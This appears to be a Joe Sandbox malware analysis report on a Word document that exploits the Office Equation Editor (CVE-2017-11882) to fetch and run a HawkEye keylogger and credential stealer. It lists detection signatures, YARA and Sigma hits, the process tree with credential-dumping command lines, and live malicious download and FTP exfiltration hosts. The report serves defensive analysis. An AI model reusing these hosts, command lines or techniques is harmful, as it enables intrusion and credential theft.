Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
02132022769992.doc

Overview

General Information

Sample Name:02132022769992.doc
Analysis ID:571605
MD5:def7f323a9c899eeff2daec6c685436d
SHA1:19759534b1d50232576ece5e49e567bd158267d1
SHA256:b80f646b11b61cb3d989da0858fec2bad99b5006f5d3f0e6a3a2bd86d8a8ac6f
Tags:doc
Infos:

Detection

HawkEye MailPassView
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected MailPassView
Sigma detected: EQNEDT32.EXE connecting to internet
Yara detected HawkEye Keylogger
Detected unpacking (overwrites its own PE header)
Yara detected AntiVM3
Detected unpacking (changes PE section rights)
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Antivirus / Scanner detection for submitted sample
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Detected HawkEye Rat
Tries to steal Mail credentials (via file / registry access)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file registry)
Allocates memory in foreign processes
May check the online IP address of the machine
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Office equation editor drops PE file
Searches for Windows Mail specific files
Tries to harvest and steal browser information (history, passwords, etc)
Sample uses process hollowing technique
Writes to foreign memory regions
.NET source code references suspicious native API functions
Contains functionality to log keystrokes (.Net Source)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Changes the view of files in windows explorer (hidden files and folders)
Yara detected WebBrowserPassView password recovery tool
Machine Learning detection for dropped file
Tries to steal Instant Messenger accounts or passwords
Antivirus or Machine Learning detection for unpacked file
Document has an unknown application name
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Uses insecure TLS / SSL version for HTTPS connection
Document misses a certain OLE stream usually present in this Microsoft Office document type
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Uses a known web browser user agent for HTTP communication
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Queries the volume information (name, serial number etc) of a device
Yara signature match
May infect USB drives
Internet Provider seen in connection with other malware
Stores large binary data to the registry
Found potential string decryption / allocating functions
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Enables debug privileges
Document contains no OLE stream with summary information
Found inlined nop instructions (likely shell or obfuscated code)
Extensive use of GetProcAddress (often used to hide API calls)
Detected TCP or UDP traffic on non-standard ports
Office Equation Editor has been started
Uses FTP
Potential document exploit detected (performs HTTP gets)

Classification

Process Tree

  • System is w7x64
  • WINWORD.EXE (PID: 1500 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
  • EQNEDT32.EXE (PID: 2044 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
    • name.exe (PID: 1464 cmdline: "C:\Users\user\AppData\Roaming\name.exe" MD5: 91DE6EFC69676A4DD4CED5E2111AB489)
      • name.exe (PID: 1124 cmdline: C:\Users\user\AppData\Roaming\name.exe MD5: 91DE6EFC69676A4DD4CED5E2111AB489)
        • vbc.exe (PID: 2396 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holdermail.txt" MD5: 1672D0478049ABDAF0197BE64A7F867F)
        • vbc.exe (PID: 3008 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holderwb.txt" MD5: 1672D0478049ABDAF0197BE64A7F867F)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
02132022769992.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0xa8:$obj2: \objdata
  • 0x103:$obj2: \objdata
  • 0x79:$obj3: \objupdate
  • 0x69:$obj6: \objlink

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.699519732.0000000000500000.00000004.08000000.00040000.00000000.sdmpHKTL_NET_GUID_StealerDetects c# red/black-team tools via typelibguidArnim Rupp
  • 0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_MailPassViewYara detected MailPassViewJoe Security
    00000005.00000002.699538666.00000000005E0000.00000004.08000000.00040000.00000000.sdmpHKTL_NET_GUID_StealerDetects c# red/black-team tools via typelibguidArnim Rupp
    • 0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
    00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_WebBrowserPassViewYara detected WebBrowserPassView password recovery toolJoe Security
      00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmpRAT_HawkEyeDetects HawkEye RATKevin Breen <kevin@techanarchy.net>
      • 0x7b748:$key: HawkEyeKeylogger
      • 0x7d946:$salt: 099u787978786
      • 0x7bd61:$string1: HawkEye_Keylogger
      • 0x7cbb4:$string1: HawkEye_Keylogger
      • 0x7d8a6:$string1: HawkEye_Keylogger
      • 0x7c14a:$string2: holdermail.txt
      • 0x7c16a:$string2: holdermail.txt
      • 0x7c08c:$string3: wallet.dat
      • 0x7c0a4:$string3: wallet.dat
      • 0x7c0ba:$string3: wallet.dat
      • 0x7d488:$string4: Keylog Records
      • 0x7d7a0:$string4: Keylog Records
      • 0x7d99e:$string5: do not script -->
      • 0x7b730:$string6: \pidloc.txt
      • 0x7b796:$string7: BSPLIT
      • 0x7b7a6:$string7: BSPLIT
      Click to see the 54 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      5.2.name.exe.45fa72.3.unpackJoeSecurity_MailPassViewYara detected MailPassViewJoe Security
        5.2.name.exe.500000.4.raw.unpackHKTL_NET_GUID_StealerDetects c# red/black-team tools via typelibguidArnim Rupp
        • 0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
        6.0.vbc.exe.400000.4.unpackJoeSecurity_MailPassViewYara detected MailPassViewJoe Security
          4.2.name.exe.548ecaa.7.unpackJoeSecurity_MailPassViewYara detected MailPassViewJoe Security
            6.0.vbc.exe.400000.1.unpackJoeSecurity_MailPassViewYara detected MailPassViewJoe Security
              Click to see the 180 entries

              Sigma Signatures

              Exploits

              barindex
              Sigma detected: EQNEDT32.EXE connecting to internet
              Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 123.30.139.93, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2044, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165
              Sigma detected: File Dropped By EQNEDT32EXE
              Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2044, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exe

              System Summary

              barindex
              Sigma detected: Droppers Exploiting CVE-2017-11882
              Source: Process startedAuthor: Florian Roth: Data: Command: "C:\Users\user\AppData\Roaming\name.exe" , CommandLine: "C:\Users\user\AppData\Roaming\name.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\name.exe, NewProcessName: C:\Users\user\AppData\Roaming\name.exe, OriginalFileName: C:\Users\user\AppData\Roaming\name.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2044, ProcessCommandLine: "C:\Users\user\AppData\Roaming\name.exe" , ProcessId: 1464
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 1B 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2044, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmpAvira: detection malicious, Label: EXP/CVE-2018-0798.Gen
              Source: C:\Users\user\AppData\Roaming\name.exeAvira: detection malicious, Label: HEUR/AGEN.1140941
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exeAvira: detection malicious, Label: HEUR/AGEN.1140941
              Multi AV Scanner detection for submitted file
              Source: 02132022769992.docReversingLabs: Detection: 39%
              Antivirus / Scanner detection for submitted sample
              Source: 02132022769992.docAvira: detected
              Machine Learning detection for dropped file
              Source: C:\Users\user\AppData\Roaming\name.exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exeJoe Sandbox ML: detected
              Source: 6.0.vbc.exe.400000.1.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.0.name.exe.400000.22.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.0.name.exe.400000.22.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.0.name.exe.400000.5.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.0.name.exe.400000.5.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.2.name.exe.400000.0.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.2.name.exe.400000.0.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 6.0.vbc.exe.400000.4.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.0.name.exe.400000.7.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.0.name.exe.400000.7.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.0.name.exe.400000.17.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.0.name.exe.400000.17.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 6.0.vbc.exe.400000.3.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 5.0.name.exe.400000.12.unpackAvira: Label: TR/AD.MExecute.lzrac
              Source: 5.0.name.exe.400000.12.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 6.0.vbc.exe.400000.2.unpackAvira: Label: SPR/Tool.MailPassView.473
              Source: 6.0.vbc.exe.400000.0.unpackAvira: Label: SPR/Tool.MailPassView.473

              Exploits

              barindex
              Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Roaming\name.exe
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Roaming\name.exeJump to behavior
              Source: unknownProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

              Compliance

              barindex
              Detected unpacking (overwrites its own PE header)
              Source: C:\Users\user\AppData\Roaming\name.exeUnpacked PE file: 4.2.name.exe.a40000.1.unpack
              Source: unknownHTTPS traffic detected: 104.16.154.36:443 -> 192.168.2.22:49169 version: TLS 1.0
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: unknownHTTPS traffic detected: 123.30.139.93:443 -> 192.168.2.22:49166 version: TLS 1.2
              Source: Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699519732.0000000000500000.00000004.08000000.00040000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000006.00000000.469531152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000006.00000000.469096396.0000000000400000.00000040.00000400.00020000.00000000.sdmp
              Source: Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmp
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: autorun.inf
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: [autorun]
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: autorun.inf
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: [autorun]
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: autorun.inf
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: [autorun]
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: autorun.inf
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: [autorun]
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,6_2_00406EC3
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,7_2_00408441
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,7_2_00407E0E
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 123.30.139.93:80
              Source: global trafficDNS query: name: xelu.vn
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002EE40E
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002ED848
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002E185D
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002ED081
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002EA493
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002ECD5D
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then call 002E2300h5_2_002EC9AE
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002EC9AE
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then jmp 002E2248h5_2_002E2180
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then call 002E2300h5_2_002EC24F
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002EC24F
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002E9A5D
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002E0A55
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002EE283
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then call 002E2300h5_2_002ECA98
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002ECA98
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002ED75E
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]5_2_002E1BA5
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 123.30.139.93:443

              Networking

              barindex
              Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
              Source: TrafficSnort IDS: 2020410 ET TROJAN HawkEye Keylogger FTP 192.168.2.22:49170 -> 66.70.204.222:21
              May check the online IP address of the machine
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: C:\Users\user\AppData\Roaming\name.exeDNS query: name: whatismyipaddress.com
              Source: Joe Sandbox ViewJA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
              Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: whatismyipaddress.comConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: whatismyipaddress.comConnection: Keep-Alive
              Source: unknownHTTPS traffic detected: 104.16.154.36:443 -> 192.168.2.22:49169 version: TLS 1.0
              Source: global trafficHTTP traffic detected: GET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: xelu.vn
              Source: global trafficHTTP traffic detected: GET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: xelu.vnConnection: Keep-Alive
              Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
              Source: Joe Sandbox ViewIP Address: 104.16.154.36 104.16.154.36
              Source: global trafficTCP traffic: 192.168.2.22:49171 -> 66.70.204.222:58255
              Source: unknownFTP traffic detected: 66.70.204.222:21 -> 192.168.2.22:49170 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://acdn.adnxs.com/ast/ast.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://b.scorecardresearch.com/beacon.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://cache.btrll.com/default/Pix-1x1.gif
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://cdn.at.atwola.com/_media/uac/msn.html
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://cdn.taboola.com/libtrc/msn-home-network/loader.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
              Source: name.exe, 00000005.00000002.699596249.00000000006A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ftp.manchutimefashion.com
              Source: vbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drString found in binary or memory: http://ib.adnxs.com/async_usersync_file
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2oHEB?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42Hq5?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42eYr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42pjY?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6K5wX?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6pevu?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
